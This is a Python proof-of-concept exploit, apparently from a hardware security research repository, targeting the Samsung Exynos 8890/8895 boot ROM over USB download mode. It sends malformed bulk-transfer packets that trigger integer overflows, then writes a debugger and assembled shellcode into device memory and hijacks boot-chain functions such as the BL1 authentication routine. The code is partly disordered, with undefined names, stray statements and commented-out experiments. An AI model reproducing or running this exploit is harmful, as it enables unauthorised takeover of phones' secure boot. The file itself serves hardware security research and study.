Samsung_S7/source/exploit/exynos_poc.py

232 lines
9.1 KiB
Python
Raw Normal View History

2024-12-10 18:47:56 +00:00
import sys, libusb1, ctypes, struct
BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb
TARGET_OFFSETS = {
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
"8895": (0x02021800, 0x02020F18, 0x02070000)
}
ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2
def p32(x):
return struct.pack("<I", x)
def p8(x):
return struct.pack("<B", x)
def p16(x):
return struct.pack("<H", x)
def p64(x):
return struct.pack("<Q", x)
def test_bug_2(self):
"""Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
def test_bug(self):
"""Verify bug existence"""
# Start by sending a valid packet
# Integer overflow in the size field
# unk + size + payload + header
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200):
print(hex(self.send_empty_transfer()))
print('Bug probably available')
sys.exit(0)
def dumb_interact(self, dump_imems=False):
'''
Room for playing around with the debugger on the phone.
'''
self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.auto_sync_special = False
print('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx()
def first_debugger():
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
self.cd.memwrite_region(0x2069000, debugger)
self.cd.restore_stack_and_jump(0x2069000)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)
# self.relocate_debugger()
DEBUGGER_ADDR = 0x2069000 #0x020c0000
### Get whereabouts of the debugger and current processor state
print('State after relocating debugger')
self.cd.arch_dbg.state.print_ctx()
def memdump_imem():
"""
Dumps the internal memory of the device (0x2020000 - 0x2070000).
"""
dumped = b""
for block in range(0x2020000, 0x2070000, 0x200):
# print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
return dumped
AUTH_BL1 = 0x00012848 # Location of the authentication function
def auth_bl1(lr=0x2069000):
# Load the firmware
self.cd.arch_dbg.state.X0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
BOOT_BL1 = 0x00019310 # Location of the boot function
def boot_bl1(lr=0x2069000):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1)
# Always hijack rom_usb_download function:
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
# Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1)
self.usb_write(b"FLSH") # Flush cache, as Frederic does
self.cd.test_connection()
auth_bl1(DEBUGGER_ADDR)
# boot_bl1(DEBUGGER_ADDR)
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
jump_bl1(DEBUGGER_ADDR)
# Returns on usb_download function
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
self.cd.arch_dbg.state.print_ctx()
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl31)
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
self.cd.arch_dbg.state.X0 = 0
self.cd.restore_stack_and_jump(0x020219c8)
pass
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.restore_stack_and_jump(0x02022a08)
# Patches
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
# Patch stupid error function
# self.usb_write(b"FLSH") # Flush cache
# Download next stage?
lr = self.cd.arch_dbg.state.LR
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
pass
# Overwrite jump back to the debugger from functions encountered during jump_bl1
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
def hijack_brom_weird():
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
self.cd.restore_stack_and_jump(0x00000314)
jump_bl1(0x020c0000)
def handle_weird_brom():
while True:
try:
resp = self.usb_read(0x200)
logging.debug(f'Within jump_bl1. Response: {resp}.')
if self.cd.arch_dbg.state.LR == 0x02022948:
break # ROM will load next stage over USB
hijack_brom_weird()
except Exception as e:
pass
handle_weird_brom()
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
# self.cd.jump_to(0x2069000)
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# self.cd.fetch_special_regs()
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
self.cd.arch_dbg.state.X0 = 1
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x00000314)
pass
### UXN and PXN seem to be present over the USB stack (02021800+)
shellcode = f"""
ldr x0, debugger_addr
blr x0
debugger_addr: .quad 0x02022000
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x2021800, shellcode)
self.cd.jump_to(0x2021800)
pass
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# # Write bl31 at 0x02021800 and authenticate
auth_bl1(0x020c0000)
# Jump to bl31
jump_bl1(0x02021800)
pass
# VERY OLD
#000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4)